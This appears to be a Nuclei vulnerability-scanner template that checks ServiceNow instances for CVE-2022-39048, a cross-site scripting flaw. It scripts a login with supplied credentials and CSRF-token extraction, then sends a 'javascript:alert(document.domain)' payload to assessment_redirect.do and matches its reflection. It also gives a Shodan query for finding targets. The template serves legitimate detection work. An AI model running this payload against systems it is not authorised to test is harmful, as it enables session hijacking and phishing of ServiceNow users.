nuclei-templates/http/cves/2022/CVE-2022-39048.yaml

76 lines
2.7 KiB
YAML

id: CVE-2022-39048
info:
name: ServiceNow - Cross-site Scripting
author: theamanrawat
severity: medium
description: |
A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.
reference:
- https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892
- https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-39048
- https://support.servicenow.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-39048
cwe-id: CWE-79
epss-score: 0.00677
epss-percentile: 0.77568
cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: servicenow
product: servicenow
shodan-query: http.title:"ServiceNow"
tags: cve,cve2022,xss,servicenow,authenticated
http:
- raw:
- |
GET /navpage.do HTTP/1.1
Host: {{Hostname}}
- |
POST /login.do HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}&not_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
- |
GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"'
- 'assessment_list.do'
condition: and
- type: word
part: header_3
words:
- 'text/html'
- type: status
part: header_3
status:
- 200
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"'
internal: true
# digest: 4a0a00473045022075f82bdd86522a8a446a1c67a65622a898220e1fa011016c801f4be3f90fe04f022100e03745f62aa47360f5ad9dab172ad2cddc9b4753c29d0e25bbeca1b91285b0c7:922c64590222798bb761d5b6d8e72950